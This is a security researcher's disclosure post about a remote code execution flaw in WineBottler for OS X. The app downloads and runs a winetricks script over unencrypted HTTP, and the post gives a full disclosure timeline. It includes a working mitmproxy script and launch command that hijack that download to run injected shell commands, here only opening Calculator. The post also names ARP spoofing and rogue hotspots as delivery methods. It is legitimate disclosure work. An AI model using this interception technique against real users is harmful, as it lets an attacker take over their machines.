Man in the Middle Remote Code Execution Vulnerability in WineBottler and its Bundles
As many of you may know I’m an OS X guy. I have been using it since many years and I’m pretty happy with it! However this also makes this vulnerability something special: It’s the first time I’m disclosing a vulnerability affecting an OS X application! Here it goes…
A few weeks ago I thought about using WineBottler (in the current then version 1.8-rc4) – a graphical Wine front-end for OS X – to build myself a KeePass OS X application. However, after LittleSnitch informed me that WineBottler tried to connect to winetricks.org using unsecured HTTP, I got a little skeptical: What is WineBottler downloading from there?
So I launched Burp and started to analyse the HTTP network traffic. Thereby I discovered the following request to http://winetricks.org/winetricks.
Further investigation showed that after a redirect, a Terminal script is served over HTTPS from there. However as the first request is initiated using unencrypted HTTP we can intercept and modify all further requests.
An attacker can thereby modify the unsecured HTTP connection using a man-in-the-middle attack. This can be carried out by using for example ARP spoofing or by providing a malicious “free” Wifi hotspot.
Anyhow, by replying to the initial request with a valid Terminal script, remote commands can be injected.
As the script is also immediately executed this is a reliable way to overtake a system as shown below.
As I had a little time spare, I automated the attack using mitmproxy and the following custom script named “drunken_winebottler.py”.
from mitmproxy.models import decoded NEWLINE = '\r\n' def response(context, flow): if flow.request.url == "http://winetricks.org/winetricks" and flow.response.status_code == 301 and flow.request.method=="GET": flow.response.status_code=200 # overwrite 301 status code to 200 with decoded(flow.response): # automatically decode gzipped responses. flow.response.content = "" # replace original script to launch Calculator.app flow.response.content += '#!/bin/sh'+NEWLINE flow.response.content += '/usr/bin/open /Applications/Calculator.app'
Simply launch mitmproxy using the following command and redirect all HTTP traffic to it (either by using ARP spoofing or by simply setting a manual proxy for testing).
./mitmproxy -s drunken_winebottler.py
Tada, after launching WineBottler the script is downloaded and executed. Calculator.app is executed to proof that remote code execution has been gained.
What about the Bundles itself?
The next logical step was to verify the bundles that have been created using WineBottler. “Bundles” are basically Windows applications wrapped by WineBottler so that you can use them as if they were OS X applications. I verified that they are also affected by this issue. However I think they only download and run winetricks on their first launch. This in turn greatly limits the attack surface.
To demonstrate the attack here’s a video showing the above mitmproxy script in action.
All request should be carried out over encrypted communication channels like HTTPS. The author already mentioned that he is planing to do so in the future. Maybe this issue speeds up this process.
As blocking the request to winetricks.org stalls WineBottler I can think of no reliable way to work around this issue. If you have any ideas I would love to hear them.
- 29.5.2016: The issue has been discovered
- 30.5.2016: Tried to establish initial contact with the developer using Facebook
- 31.5.2016: Requested CVE number; Retried to contact developer using Facebook
- 1.6.2016: MITRE declined CVE: The product is not covered.
- 2.6.2016: Created this documentation; Sent to developer using mail
- 18.6.2016: Developer responded on Facebook
- 20.6.2016: Developer promised that Winetricks update will be switched to HTTPS. Agreed on the 29.7. for the public disclosure
- 25.7.2016: Tried to contact developer as no new version has been released – no success
- 29.7.2016: Initially agreed public disclosure date – rescheduled
- 31.7.2016: Tried again to contact developer – again no success.
- 13.8.2016: Tried a last time to get in touch with the developer – again no success
- 17.10.2016: Public disclosure altough unfixed: Developer unresponsive